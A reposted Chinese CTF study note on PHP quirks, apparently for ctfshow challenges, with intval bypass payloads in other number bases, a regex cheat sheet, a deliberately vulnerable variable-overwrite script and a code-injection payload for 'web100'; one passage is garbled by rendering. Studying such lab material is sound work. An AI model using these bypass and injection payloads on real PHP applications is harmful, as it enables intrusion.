php特性
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了php特性,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含1355字,纯文字阅读大概需要2分钟。
内容图文
![php特性](/upload/InfoBanner/zyjiaocheng/606/39d508511246461e9775519c9151a596.jpg)
01
intval函数
通过数组绕过
02
进制转换or加个空格在前面。
payload
?num= 4476
?num=0x117c
?num=010574
03
符号 | 含义 |
---|---|
[abc] | A single character: a, b or c |
[^abc] | Any single character but a, b, or c |
[a-z] | Any single character in the range a-z |
[a-zA-Z] | Any single character in the range a-z or A-Z |
^ | Start of line |
$ | End of line |
\A | Start of string |
\z | End of string |
\s | Any whitespace character |
\S | Any non-whitespace character |
\d | Any digit |
\D | Any non-digit |
\w | Any word character (letter, number, underscore) |
\W | Any non-word character |
\b | Any word boundary character |
(a|b) | a or b |
a? | Zero or one of a |
a* | Zero or more of a |
a+ | One or more of a |
a{3} | Exactly 3 of a |
a{3,} | 3 or more of a |
a{3,6} | Between 3 and 6 of a |
. | Any single character |
(…) | Capture everything enclosed |
04
在linux下面表示当前目录是 ./
05
<?php
include("flag.php");
#若存在GET传值,用POST的值覆盖
$_GET?$_GET=&$_POST:'flag';
#flag参数等于flag,就用$_COOKIE进行覆盖。这里让flag参数不等于flag值就好了
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
#存在HTTP_FLAG参数等于flag,就出最终的flag答案
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
06
web100
v
2
(
′
c
t
f
s
h
o
w
′
)
v2('ctfshow')
v2(′ctfshow′)v3,其中v2肯定是命令,v3传分号
v0是三个值相与,v2和v3不传数字和v1数字相与就为1
payload:
?v1=1&v2=var_dump($ctfshow)&v3=;
或者v3直接用内联注释注释掉
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
07
内容总结
以上是互联网集市为您收集整理的php特性全部内容,希望文章能够帮你解决php特性所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。